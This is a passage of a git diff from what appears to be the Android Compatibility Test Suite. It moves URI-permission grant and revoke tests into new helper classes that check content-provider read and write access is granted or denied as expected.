- assertNoPersistedUriPermission();
-
- // Now, let's grant ourselves some access
- ReceiveUriActivity.clearStarted();
- grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
- | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, false);
- ReceiveUriActivity.waitForStart();
-
- // We should now have reading access, even before taking the persistable
- // grant. Persisted grants should still be empty.
- assertReadingClipAllowed(clip);
- assertWritingClipNotAllowed(clip, "writing should have failed");
- assertNoPersistedUriPermission();
-
- // Take the read grant and verify we have it!
- long before = System.currentTimeMillis();
- resolver.takePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
- long after = System.currentTimeMillis();
- assertPersistedUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION, before, after);
-
- // Make sure we can't take a grant we don't have
- try {
- resolver.takePersistableUriPermission(target, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
- fail("taking write should have failed");
- } catch (SecurityException expected) {
- }
-
- // Launch again giving ourselves persistable read and write access
- ReceiveUriActivity.clearNewIntent();
- grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
- | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
- | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, false);
- ReceiveUriActivity.waitForNewIntent();
-
- // Previous persisted grant should be unchanged
- assertPersistedUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION, before, after);
-
- // We should have both read and write; read is persisted, and write
- // isn't persisted yet.
- assertReadingClipAllowed(clip);
- assertWritingClipAllowed(clip);
-
- // Take again, but still only read; should just update timestamp
- before = System.currentTimeMillis();
- resolver.takePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
- after = System.currentTimeMillis();
- assertPersistedUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION, before, after);
-
- // And take yet again, both read and write
- before = System.currentTimeMillis();
- resolver.takePersistableUriPermission(target,
- Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
- after = System.currentTimeMillis();
- assertPersistedUriPermission(target,
- Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION,
- before, after);
-
- // Now drop the persisted grant; write first, then read
- resolver.releasePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
- assertPersistedUriPermission(target, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, before, after);
- resolver.releasePersistableUriPermission(target, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
- assertNoPersistedUriPermission();
-
- // And even though we dropped the persistable grants, our activity is
- // still running with the global grants (until reboot).
- assertReadingClipAllowed(clip);
- assertWritingClipAllowed(clip);
-
- ReceiveUriActivity.finishCurInstanceSync();
- }
-
- private void assertNoPersistedUriPermission() {
- assertPersistedUriPermission(null, 0, -1, -1);
- }
-
- private void assertPersistedUriPermission(Uri uri, int flags, long before, long after) {
- // Assert local
- final List<UriPermission> perms = getContext()
- .getContentResolver().getPersistedUriPermissions();
- if (uri != null) {
- assertEquals("expected exactly one permission", 1, perms.size());
-
- final UriPermission perm = perms.get(0);
- assertEquals("unexpected uri", uri, perm.getUri());
-
- final long actual = perm.getPersistedTime();
- if (before != -1) {
- assertTrue("found " + actual + " before " + before, actual >= before);
- }
- if (after != -1) {
- assertTrue("found " + actual + " after " + after, actual <= after);
- }
-
- final boolean expectedRead = (flags & Intent.FLAG_GRANT_READ_URI_PERMISSION) != 0;
- final boolean expectedWrite = (flags & Intent.FLAG_GRANT_WRITE_URI_PERMISSION) != 0;
- assertEquals("unexpected read status", expectedRead, perm.isReadPermission());
- assertEquals("unexpected write status", expectedWrite, perm.isWritePermission());
-
- } else {
- assertEquals("expected zero permissions", 0, perms.size());
- }
-
- // And assert remote
- Intent intent = new Intent();
- intent.setAction(ACTION_VERIFY_OUTGOING_PERSISTED);
- intent.putExtra(EXTRA_URI, uri);
- call(intent);
- }
-
- /**
- * Validate behavior of prefix permission grants.
- */
- public void testGrantPrefixUriPermission() throws Exception {
- final Uri target = Uri.withAppendedPath(PERM_URI_GRANTING, "foo1");
- final Uri targetMeow = Uri.withAppendedPath(target, "meow");
- final Uri targetMeowCat = Uri.withAppendedPath(targetMeow, "cat");
-
- final ClipData clip = makeSingleClipData(target);
- final ClipData clipMeow = makeSingleClipData(targetMeow);
- final ClipData clipMeowCat = makeSingleClipData(targetMeowCat);
-
- // Make sure we can't see the target
- assertReadingClipNotAllowed(clip, "reading should have failed");
- assertWritingClipNotAllowed(clip, "writing should have failed");
-
- // Give ourselves prefix read access
- ReceiveUriActivity.clearStarted();
- grantClipUriPermission(clipMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
- | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, false);
- ReceiveUriActivity.waitForStart();
-
- // Verify prefix read access
- assertReadingClipNotAllowed(clip, "reading should have failed");
- assertReadingClipAllowed(clipMeow);
- assertReadingClipAllowed(clipMeowCat);
- assertWritingClipNotAllowed(clip, "writing should have failed");
- assertWritingClipNotAllowed(clipMeow, "writing should have failed");
- assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
-
- // Now give ourselves exact write access
- ReceiveUriActivity.clearNewIntent();
- grantClipUriPermission(clip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, false);
- ReceiveUriActivity.waitForNewIntent();
-
- // Verify we have exact write access, but not prefix write
- assertReadingClipNotAllowed(clip, "reading should have failed");
- assertReadingClipAllowed(clipMeow);
- assertReadingClipAllowed(clipMeowCat);
- assertWritingClipAllowed(clip);
- assertWritingClipNotAllowed(clipMeow, "writing should have failed");
- assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
-
- ReceiveUriActivity.finishCurInstanceSync();
- }
-
- public void testGrantPersistablePrefixUriPermission() {
- final ContentResolver resolver = getContext().getContentResolver();
-
- final Uri target = Uri.withAppendedPath(PERM_URI_GRANTING, "foo2");
- final Uri targetMeow = Uri.withAppendedPath(target, "meow");
-
- final ClipData clip = makeSingleClipData(target);
- final ClipData clipMeow = makeSingleClipData(targetMeow);
-
- // Make sure we can't see the target
- assertReadingClipNotAllowed(clip, "reading should have failed");
-
- // Give ourselves prefix read access
- ReceiveUriActivity.clearStarted();
- grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
- | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
- | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, false);
- ReceiveUriActivity.waitForStart();
-
- // Verify prefix read access
- assertReadingClipAllowed(clip);
- assertReadingClipAllowed(clipMeow);
-
- // Verify we can persist direct grant
- long before = System.currentTimeMillis();
- resolver.takePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
- long after = System.currentTimeMillis();
- assertPersistedUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION, before, after);
-
- // But we can't take anywhere under the prefix
- try {
- resolver.takePersistableUriPermission(targetMeow,
- Intent.FLAG_GRANT_READ_URI_PERMISSION);
- fail("taking under prefix should have failed");
- } catch (SecurityException expected) {
- }
-
- // Should still have access regardless of taking
- assertReadingClipAllowed(clip);
- assertReadingClipAllowed(clipMeow);
-
- // And clean up our grants
- resolver.releasePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
- assertNoPersistedUriPermission();
-
- ReceiveUriActivity.finishCurInstanceSync();
- }
-
- /**
- * Validate behavior of directly granting/revoking permission grants.
- */
- public void testDirectGrantRevokeUriPermission() throws Exception {
- final ContentResolver resolver = getContext().getContentResolver();
-
- final Uri target = Uri.withAppendedPath(PERM_URI_GRANTING, "foo3");
- final Uri targetMeow = Uri.withAppendedPath(target, "meow");
- final Uri targetMeowCat = Uri.withAppendedPath(targetMeow, "cat");
-
- final ClipData clip = makeSingleClipData(target);
- final ClipData clipMeow = makeSingleClipData(targetMeow);
- final ClipData clipMeowCat = makeSingleClipData(targetMeowCat);
-
- // Make sure we can't see the target
- assertReadingClipNotAllowed(clipMeow, "reading should have failed");
- assertWritingClipNotAllowed(clipMeow, "writing should have failed");
-
- // Give ourselves some grants:
- // /meow/cat WRITE|PERSISTABLE
- // /meow READ|PREFIX
- // /meow WRITE
- grantClipUriPermissionViaContext(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION
- | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
- grantClipUriPermissionViaContext(targetMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
- | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
- grantClipUriPermissionViaContext(targetMeow, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-
- long before = System.currentTimeMillis();
- resolver.takePersistableUriPermission(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
- long after = System.currentTimeMillis();
- assertPersistedUriPermission(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, before, after);
-
- // Verify they look good
- assertReadingClipNotAllowed(clip, "reading should have failed");
- assertReadingClipAllowed(clipMeow);
- assertReadingClipAllowed(clipMeowCat);
- assertWritingClipNotAllowed(clip, "writing should have failed");
- assertWritingClipAllowed(clipMeow);
- assertWritingClipAllowed(clipMeowCat);
-
- // Revoke anyone with write under meow
- revokeClipUriPermissionViaContext(targetMeow, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-
- // This should have nuked persisted permission at lower level, but it
- // shoulnd't have touched our prefix read.
- assertReadingClipNotAllowed(clip, "reading should have failed");
- assertReadingClipAllowed(clipMeow);
- assertReadingClipAllowed(clipMeowCat);
- assertWritingClipNotAllowed(clip, "writing should have failed");
- assertWritingClipNotAllowed(clipMeow, "writing should have failed");
- assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
- assertNoPersistedUriPermission();
-
- // Revoking read at top of tree should nuke everything else
- revokeClipUriPermissionViaContext(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
- assertReadingClipNotAllowed(clip, "reading should have failed");
- assertReadingClipNotAllowed(clipMeow, "reading should have failed");
- assertReadingClipNotAllowed(clipMeowCat, "reading should have failed");
- assertWritingClipNotAllowed(clip, "writing should have failed");
- assertWritingClipNotAllowed(clipMeow, "writing should have failed");
- assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
- assertNoPersistedUriPermission();
- }
-
- /**
- * Validate behavior of a direct permission grant, where the receiver of
- * that permission revokes it.
- */
- public void testDirectGrantReceiverRevokeUriPermission() throws Exception {
- final ContentResolver resolver = getContext().getContentResolver();
-
- final Uri target = Uri.withAppendedPath(PERM_URI_GRANTING, "foo3");
- final Uri targetMeow = Uri.withAppendedPath(target, "meow");
- final Uri targetMeowCat = Uri.withAppendedPath(targetMeow, "cat");
-
- final ClipData clip = makeSingleClipData(target);
- final ClipData clipMeow = makeSingleClipData(targetMeow);
- final ClipData clipMeowCat = makeSingleClipData(targetMeowCat);
-
- // Make sure we can't see the target
- assertReadingClipNotAllowed(clipMeow, "reading should have failed");
- assertWritingClipNotAllowed(clipMeow, "writing should have failed");
-
- // Give ourselves some grants:
- // /meow/cat WRITE|PERSISTABLE
- // /meow READ|PREFIX
- // /meow WRITE
- grantClipUriPermissionViaContext(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION
- | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
- grantClipUriPermissionViaContext(targetMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
- | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
- grantClipUriPermissionViaContext(targetMeow, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-
- long before = System.currentTimeMillis();
- resolver.takePersistableUriPermission(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
- long after = System.currentTimeMillis();
- assertPersistedUriPermission(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, before, after);
-
- // Verify they look good
- assertReadingClipNotAllowed(clip, "reading should have failed");
- assertReadingClipAllowed(clipMeow);
- assertReadingClipAllowed(clipMeowCat);
- assertWritingClipNotAllowed(clip, "writing should have failed");
- assertWritingClipAllowed(clipMeow);
- assertWritingClipAllowed(clipMeowCat);
-
- // Revoke anyone with write under meow
- getContext().revokeUriPermission(targetMeow, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-
- // This should have nuked persisted permission at lower level, but it
- // shoulnd't have touched our prefix read.
- assertReadingClipNotAllowed(clip, "reading should have failed");
- assertReadingClipAllowed(clipMeow);
- assertReadingClipAllowed(clipMeowCat);
- assertWritingClipNotAllowed(clip, "writing should have failed");
- assertWritingClipNotAllowed(clipMeow, "writing should have failed");
- assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
- assertNoPersistedUriPermission();
-
- // Revoking read at top of tree should nuke everything else
- getContext().revokeUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
- assertReadingClipNotAllowed(clip, "reading should have failed");
- assertReadingClipNotAllowed(clipMeow, "reading should have failed");
- assertReadingClipNotAllowed(clipMeowCat, "reading should have failed");
- assertWritingClipNotAllowed(clip, "writing should have failed");
- assertWritingClipNotAllowed(clipMeow, "writing should have failed");
- assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
- assertNoPersistedUriPermission();
- }
-
- public void testClipboardWithPermission() throws Exception {
- for (Uri target : GRANTABLE) {
- final ClipData clip = makeSingleClipData(target);
-
- // Normally we can't see the underlying clip data
- assertReadingClipNotAllowed(clip);
- assertWritingClipNotAllowed(clip);
-
- // Use shell's permissions to ensure we can access the clipboard
- InstrumentationRegistry.getInstrumentation().getUiAutomation()
- .adoptShellPermissionIdentity();
- ClipData clipFromClipboard;
- try {
- // But if someone puts it on the clipboard, we can read it
- setPrimaryClip(clip);
- clipFromClipboard = getContext()
- .getSystemService(ClipboardManager.class).getPrimaryClip();
- } finally {
- InstrumentationRegistry.getInstrumentation().getUiAutomation()
- .dropShellPermissionIdentity();
- }
- assertClipDataEquals(clip, clipFromClipboard);
- assertReadingClipAllowed(clipFromClipboard);
- assertWritingClipNotAllowed(clipFromClipboard);
-
- // And if clipboard is cleared, we lose access
- clearPrimaryClip();
- assertReadingClipNotAllowed(clipFromClipboard);
- assertWritingClipNotAllowed(clipFromClipboard);
- }
- }
-
- public void testClipboardWithoutPermission() throws Exception {
- for (Uri target : NOT_GRANTABLE) {
- final ClipData clip = makeSingleClipData(target);
-
- // Can't see it directly
- assertReadingClipNotAllowed(clip);
- assertWritingClipNotAllowed(clip);
-
- // Can't put on clipboard if we don't own it
- try {
- setPrimaryClip(clip);
- fail("Unexpected ability to put protected data " + clip + " on clipboard!");
- } catch (Exception expected) {
- }
- }
- }
-
- private static void assertClipDataEquals(ClipData expected, ClipData actual) {
- assertEquals(expected.getItemCount(), actual.getItemCount());
- for (int i = 0; i < expected.getItemCount(); i++) {
- final ClipData.Item expectedItem = expected.getItemAt(i);
- final ClipData.Item actualItem = actual.getItemAt(i);
- assertEquals(expectedItem.getText(), actualItem.getText());
- assertEquals(expectedItem.getHtmlText(), actualItem.getHtmlText());
- assertEquals(expectedItem.getIntent(), actualItem.getIntent());
- assertEquals(expectedItem.getUri(), actualItem.getUri());
- }
- }
}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Asserts.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Asserts.java
new file mode 100644
index 0000000..02483ca
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Asserts.java
@@ -0,0 +1,315 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.usespermissiondiffcertapp;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ClipData;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.Intent;
+import android.content.UriPermission;
+import android.database.Cursor;
+import android.net.Uri;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.io.IOException;
+import java.util.List;
+
+public class Asserts {
+ private static Context getContext() {
+ return InstrumentationRegistry.getTargetContext();
+ }
+
+ static void assertAccess(ClipData clip, int mode) {
+ for (int i = 0; i < clip.getItemCount(); i++) {
+ ClipData.Item item = clip.getItemAt(i);
+ Uri uri = item.getUri();
+ if (uri != null) {
+ assertAccess(uri, mode);
+ } else {
+ Intent intent = item.getIntent();
+ uri = intent.getData();
+ if (uri != null) {
+ assertAccess(uri, mode);
+ }
+ ClipData intentClip = intent.getClipData();
+ if (intentClip != null) {
+ assertAccess(intentClip, mode);
+ }
+ }
+ }
+ }
+
+ static void assertAccess(Uri uri, int mode) {
+ if ((mode & Intent.FLAG_GRANT_READ_URI_PERMISSION) != 0) {
+ assertReadingContentUriAllowed(uri);
+ } else {
+ assertReadingContentUriNotAllowed(uri, null);
+ }
+ if ((mode & Intent.FLAG_GRANT_WRITE_URI_PERMISSION) != 0) {
+ assertWritingContentUriAllowed(uri);
+ } else {
+ assertWritingContentUriNotAllowed(uri, null);
+ }
+ }
+
+ static void assertReadingContentUriNotAllowed(Uri uri, String msg) {
+ try {
+ getContext().getContentResolver().query(uri, null, null, null, null);
+ fail("expected SecurityException reading " + uri + ": " + msg);
+ } catch (SecurityException expected) {
+ assertNotNull("security exception's error message.", expected.getMessage());
+ }
+ }
+
+ static void assertReadingContentUriAllowed(Uri uri) {
+ try {
+ getContext().getContentResolver().query(uri, null, null, null, null);
+ } catch (SecurityException e) {
+ fail("unexpected SecurityException reading " + uri + ": " + e.getMessage());
+ }
+ }
+
+ static void assertReadingClipNotAllowed(ClipData clip) {
+ assertReadingClipNotAllowed(clip, null);
+ }
+
+ static void assertReadingClipNotAllowed(ClipData clip, String msg) {
+ for (int i=0; i<clip.getItemCount(); i++) {
+ ClipData.Item item = clip.getItemAt(i);
+ Uri uri = item.getUri();
+ if (uri != null) {
+ assertReadingContentUriNotAllowed(uri, msg);
+ } else {
+ Intent intent = item.getIntent();
+ uri = intent.getData();
+ if (uri != null) {
+ assertReadingContentUriNotAllowed(uri, msg);
+ }
+ ClipData intentClip = intent.getClipData();
+ if (intentClip != null) {
+ assertReadingClipNotAllowed(intentClip, msg);
+ }
+ }
+ }
+ }
+
+ static void assertOpenFileDescriptorModeNotAllowed(Uri uri, String msg, String mode) {
+ try {
+ getContext().getContentResolver().openFileDescriptor(uri, mode).close();
+ fail("expected SecurityException writing " + uri + ": " + msg);
+ } catch (IOException e) {
+ throw new IllegalStateException(e);
+ } catch (SecurityException expected) {
+ assertNotNull("security exception's error message.", expected.getMessage());
+ }
+ }
+
+ static void assertContentUriAllowed(Uri uri) {
+ assertReadingContentUriAllowed(uri);
+ assertWritingContentUriAllowed(uri);
+ }
+
+ static void assertContentUriNotAllowed(Uri uri, String msg) {
+ assertReadingContentUriNotAllowed(uri, msg);
+ assertWritingContentUriNotAllowed(uri, msg);
+ }
+
+ static void assertWritingContentUriNotAllowed(Uri uri, String msg) {
+ final ContentResolver resolver = getContext().getContentResolver();
+ try {
+ resolver.insert(uri, new ContentValues());
+ fail("expected SecurityException inserting " + uri + ": " + msg);
+ } catch (SecurityException expected) {
+ assertNotNull("security exception's error message.", expected.getMessage());
+ }
+
+ try {
+ resolver.update(uri, new ContentValues(), null, null);
+ fail("expected SecurityException updating " + uri + ": " + msg);
+ } catch (SecurityException expected) {
+ assertNotNull("security exception's error message.", expected.getMessage());
+ }
+
+ try {
+ resolver.delete(uri, null, null);
+ fail("expected SecurityException deleting " + uri + ": " + msg);
+ } catch (SecurityException expected) {
+ assertNotNull("security exception's error message.", expected.getMessage());
+ }
+
+ try {
+ getContext().getContentResolver().openOutputStream(uri).close();
+ fail("expected SecurityException writing " + uri + ": " + msg);
+ } catch (IOException e) {
+ throw new IllegalStateException(e);
+ } catch (SecurityException expected) {
+ assertNotNull("security exception's error message.", expected.getMessage());
+ }
+
+ assertOpenFileDescriptorModeNotAllowed(uri, msg, "w");
+ assertOpenFileDescriptorModeNotAllowed(uri, msg, "wt");
+ assertOpenFileDescriptorModeNotAllowed(uri, msg, "wa");
+ assertOpenFileDescriptorModeNotAllowed(uri, msg, "rw");
+ assertOpenFileDescriptorModeNotAllowed(uri, msg, "rwt");
+ }
+
+ static void assertWritingContentUriAllowed(Uri uri) {
+ final ContentResolver resolver = getContext().getContentResolver();
+ try {
+ resolver.insert(uri, new ContentValues());
+ resolver.update(uri, new ContentValues(), null, null);
+ resolver.delete(uri, null, null);
+
+ resolver.openOutputStream(uri).close();
+ resolver.openFileDescriptor(uri, "w").close();
+ resolver.openFileDescriptor(uri, "wt").close();
+ resolver.openFileDescriptor(uri, "wa").close();
+ resolver.openFileDescriptor(uri, "rw").close();
+ resolver.openFileDescriptor(uri, "rwt").close();
+ } catch (IOException e) {
+ fail("unexpected IOException writing " + uri + ": " + e.getMessage());
+ } catch (SecurityException e) {
+ fail("unexpected SecurityException writing " + uri + ": " + e.getMessage());
+ }
+ }
+
+ static void assertWritingClipNotAllowed(ClipData clip) {
+ assertWritingClipNotAllowed(clip, null);
+ }
+
+ static void assertWritingClipNotAllowed(ClipData clip, String msg) {
+ for (int i=0; i<clip.getItemCount(); i++) {
+ ClipData.Item item = clip.getItemAt(i);
+ Uri uri = item.getUri();
+ if (uri != null) {
+ assertWritingContentUriNotAllowed(uri, msg);
+ } else {
+ Intent intent = item.getIntent();
+ uri = intent.getData();
+ if (uri != null) {
+ assertWritingContentUriNotAllowed(uri, msg);
+ }
+ ClipData intentClip = intent.getClipData();
+ if (intentClip != null) {
+ assertWritingClipNotAllowed(intentClip, msg);
+ }
+ }
+ }
+ }
+
+ static void assertReadingClipAllowed(ClipData clip) {
+ for (int i=0; i<clip.getItemCount(); i++) {
+ ClipData.Item item = clip.getItemAt(i);
+ Uri uri = item.getUri();
+ if (uri != null) {
+ Cursor c = getContext().getContentResolver().query(uri,
+ null, null, null, null);
+ if (c != null) {
+ c.close();
+ }
+ } else {
+ Intent intent = item.getIntent();
+ uri = intent.getData();
+ if (uri != null) {
+ Cursor c = getContext().getContentResolver().query(uri,
+ null, null, null, null);
+ if (c != null) {
+ c.close();
+ }
+ }
+ ClipData intentClip = intent.getClipData();
+ if (intentClip != null) {
+ assertReadingClipAllowed(intentClip);
+ }
+ }
+ }
+ }
+
+ static void assertWritingClipAllowed(ClipData clip) {
+ for (int i=0; i<clip.getItemCount(); i++) {
+ ClipData.Item item = clip.getItemAt(i);
+ Uri uri = item.getUri();
+ if (uri != null) {
+ getContext().getContentResolver().insert(uri, new ContentValues());
+ } else {
+ Intent intent = item.getIntent();
+ uri = intent.getData();
+ if (uri != null) {
+ getContext().getContentResolver().insert(uri, new ContentValues());
+ }
+ ClipData intentClip = intent.getClipData();
+ if (intentClip != null) {
+ assertWritingClipAllowed(intentClip);
+ }
+ }
+ }
+ }
+
+
+ static void assertClipDataEquals(ClipData expected, ClipData actual) {
+ assertEquals(expected.getItemCount(), actual.getItemCount());
+ for (int i = 0; i < expected.getItemCount(); i++) {
+ final ClipData.Item expectedItem = expected.getItemAt(i);
+ final ClipData.Item actualItem = actual.getItemAt(i);
+ assertEquals(expectedItem.getText(), actualItem.getText());
+ assertEquals(expectedItem.getHtmlText(), actualItem.getHtmlText());
+ assertEquals(expectedItem.getIntent(), actualItem.getIntent());
+ assertEquals(expectedItem.getUri(), actualItem.getUri());
+ }
+ }
+
+ static void assertNoPersistedUriPermission() {
+ assertPersistedUriPermission(null, 0, -1, -1);
+ }
+
+ static void assertPersistedUriPermission(Uri uri, int flags, long before, long after) {
+ // Assert local
+ final List<UriPermission> perms = getContext()
+ .getContentResolver().getPersistedUriPermissions();
+ if (uri != null) {
+ assertEquals("expected exactly one permission", 1, perms.size());
+
+ final UriPermission perm = perms.get(0);
+ assertEquals("unexpected uri", uri, perm.getUri());
+
+ final long actual = perm.getPersistedTime();
+ if (before != -1) {
+ assertTrue("found " + actual + " before " + before, actual >= before);
+ }
+ if (after != -1) {
+ assertTrue("found " + actual + " after " + after, actual <= after);
+ }
+
+ final boolean expectedRead = (flags & Intent.FLAG_GRANT_READ_URI_PERMISSION) != 0;
+ final boolean expectedWrite = (flags & Intent.FLAG_GRANT_WRITE_URI_PERMISSION) != 0;
+ assertEquals("unexpected read status", expectedRead, perm.isReadPermission());
+ assertEquals("unexpected write status", expectedWrite, perm.isWritePermission());
+
+ } else {
+ assertEquals("expected zero permissions", 0, perms.size());
+ }
+
+ Utils.verifyOutgoingPersisted(uri);
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/GetResultActivity.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/GetResultActivity.java
new file mode 100644
index 0000000..71e2cc1
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/GetResultActivity.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.usespermissiondiffcertapp;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.util.Log;
+import android.view.WindowManager;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class GetResultActivity extends Activity {
+ private static final String TAG = "GetResultActivity";
+
+ private LinkedBlockingQueue<Result> mResult;
+ private CountDownLatch mDestroyed;
+
+ public static class Result {
+ public final int requestCode;
+ public final int resultCode;
+ public final Intent data;
+
+ public Result(int requestCode, int resultCode, Intent data) {
+ this.requestCode = requestCode;
+ this.resultCode = resultCode;
+ this.data = data;
+ }
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
+ | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON
+ | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+
+ if (mDestroyed != null) {
+ mDestroyed.countDown();
+ }
+ }
+
+ @Override
+ protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+ Log.d(TAG, "onActivityResult " + data);
+ try {
+ mResult.offer(new Result(requestCode, resultCode, data), 5, TimeUnit.SECONDS);
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ public void clearResult() {
+ mResult = new LinkedBlockingQueue<>();
+ mDestroyed = new CountDownLatch(1);
+ }
+
+ public Result getResult() {
+ try {
+ return mResult.poll(5, TimeUnit.SECONDS);
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ public void getDestroyed() {
+ try {
+ mDestroyed.await(5, TimeUnit.SECONDS);
+ SystemClock.sleep(200);
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
new file mode 100644
index 0000000..26a2eee
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.usespermissiondiffcertapp;
+
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.GRANTABLE;
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.GRANTABLE_MODES;
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE;
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE_MODES;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertAccess;
